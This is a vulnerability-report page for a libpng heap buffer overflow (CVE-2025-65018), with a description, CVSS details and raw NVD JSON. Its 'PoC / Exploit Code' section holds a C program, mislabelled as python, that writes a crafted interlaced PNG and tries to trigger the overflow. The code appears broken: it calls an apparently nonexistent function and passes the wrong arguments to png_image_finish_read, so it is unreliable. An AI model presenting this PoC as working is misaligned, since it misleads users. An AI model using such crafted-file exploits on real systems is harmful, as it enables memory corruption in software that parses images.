Security Vulnerability Report
中文
CVE-2025-65018 CVSS 7.1 HIGH

CVE-2025-65018

Published: 2025-11-25 00:15:48
Last Modified: 2025-11-26 18:34:54

Description

LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From version 1.6.0 to before 1.6.51, there is a heap buffer overflow vulnerability in the libpng simplified API function png_image_finish_read when processing 16-bit interlaced PNGs with 8-bit output format. Attacker-crafted interlaced PNG files cause heap writes beyond allocated buffer bounds. This issue has been patched in version 1.6.51.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:* - VULNERABLE
libpng >= 1.6.0
libpng < 1.6.51

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-65018 PoC - libpng png_image_finish_read Heap Buffer Overflow * This PoC generates a malicious 16-bit interlaced PNG file that triggers * heap buffer overflow when processed with 8-bit output format. * * Compile: gcc -o cve_2025_65018_poc cve_2025_65018_poc.c -lpng * Usage: ./cve_2025_65018_poc output.png */ #include <stdio.h> #include <stdlib.h> #include <png.h> #define WIDTH 256 #define HEIGHT 256 #define BIT_DEPTH 16 void write_png_file(const char *filename) { FILE *fp = fopen(filename, "wb"); if (!fp) { fprintf(stderr, "Cannot open file for writing\n"); return; } png_structp png = png_create_write_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL); if (!png) { fclose(fp); return; } png_infop info = png_create_info_struct(png); if (!info) { png_destroy_write_struct(&png, NULL); fclose(fp); return; } if (setjmp(png_jmpbuf(png))) { png_destroy_write_struct(&png, &info); fclose(fp); return; } png_init_io(png, fp); // Set up interlaced 16-bit PNG with color type that triggers the vulnerability png_set_IHDR(png, info, WIDTH, HEIGHT, BIT_DEPTH, PNG_COLOR_TYPE_RGB_ALPHA, PNG_INTERLACE_ADAM7, PNG_COMPRESSION_TYPE_DEFAULT, PNG_FILTER_TYPE_DEFAULT); // Allocate row pointers for 16-bit data png_bytep *row_pointers = (png_bytep *)malloc(sizeof(png_bytep) * HEIGHT); for (int y = 0; y < HEIGHT; y++) { row_pointers[y] = (png_byte *)malloc(png_get_rowbytes(png, info)); // Fill with pattern that will trigger overflow when converted to 8-bit for (int x = 0; x < WIDTH; x++) { png_uint_16 *pixel = (png_uint_16 *)(row_pointers[y] + x * 6); pixel[0] = 0xFFFF; // Red pixel[1] = 0xFFFF; // Green pixel[2] = 0xFFFF; // Blue pixel[3] = 0xFFFF; // Alpha } } png_set_rows(png, info, row_pointers); png_write_png(png, info, PNG_TRANSFORM_IDENTITY, NULL); // Cleanup for (int y = 0; y < HEIGHT; y++) { free(row_pointers[y]); } free(row_pointers); png_destroy_write_struct(&png, &info); fclose(fp); } void trigger_vulnerability(const char *filename) { FILE *fp = fopen(filename, "rb"); if (!fp) { fprintf(stderr, "Cannot open file for reading\n"); return; } png_structp png = png_create_read_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL); if (!png) { fclose(fp); return; } png_infop info = png_create_info_struct(png); if (!info) { png_destroy_read_struct(&png, NULL, NULL); fclose(fp); return; } if (setjmp(png_jmpbuf(png))) { png_destroy_read_struct(&png, &info, NULL); fclose(fp); return; } png_init_io(png, fp); png_read_info(png, info); // Use simplified API which triggers the vulnerability png_image image; memset(&image, 0, sizeof(image)); image.version = PNG_IMAGE_VERSION; image.width = png_get_image_width(png, info); image.height = png_get_image_height(png, info); // Force 8-bit output format to trigger the vulnerability png_set_expand_16_to_8(png); png_read_update_info(png, info); // Allocate output buffer - this will be too small for the vulnerability png_byte *buffer = (png_byte *)malloc(PNG_IMAGE_SIZE(image)); if (!buffer) { png_destroy_read_struct(&png, &info, NULL); fclose(fp); return; } // This call triggers the heap buffer overflow png_image_finish_read(png, &image, buffer, 0, NULL); free(buffer); png_destroy_read_struct(&png, &info, NULL); fclose(fp); } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <output_png_file>\n", argv[0]); return 1; } printf("Generating malicious PNG file: %s\n", argv[1]); write_png_file(argv[1]); printf("Triggering vulnerability...\n"); trigger_vulnerability(argv[1]); printf("Done. Check for crashes or memory corruption.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65018", "sourceIdentifier": "[email protected]", "published": "2025-11-25T00:15:47.610", "lastModified": "2025-11-26T18:34:53.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From version 1.6.0 to before 1.6.51, there is a heap buffer overflow vulnerability in the libpng simplified API function png_image_finish_read when processing 16-bit interlaced PNGs with 8-bit output format. Attacker-crafted interlaced PNG files cause heap writes beyond allocated buffer bounds. This issue has been patched in version 1.6.51."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndExcluding": "1.6.51", "matchCriteriaId": "3545FEA5-4FFA-4955-BFDA-CC3602C9A894"}]}]}], "references": [{"url": "https://github.com/pnggroup/libpng/commit/16b5e3823918840aae65c0a6da57c78a5a496a4d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnggroup/libpng/commit/218612ddd6b17944e21eda56caf8b4bf7779d1ea", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnggroup/libpng/issues/755", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/pnggroup/libpng/pull/757", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/pnggroup/libpng/security/advisories/GHSA-7wv6-48j4-hj3g", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/pnggroup/libpng/issues/755", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/pnggroup/libpng/security/advisories/GHSA-7wv6-48j4-hj3g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}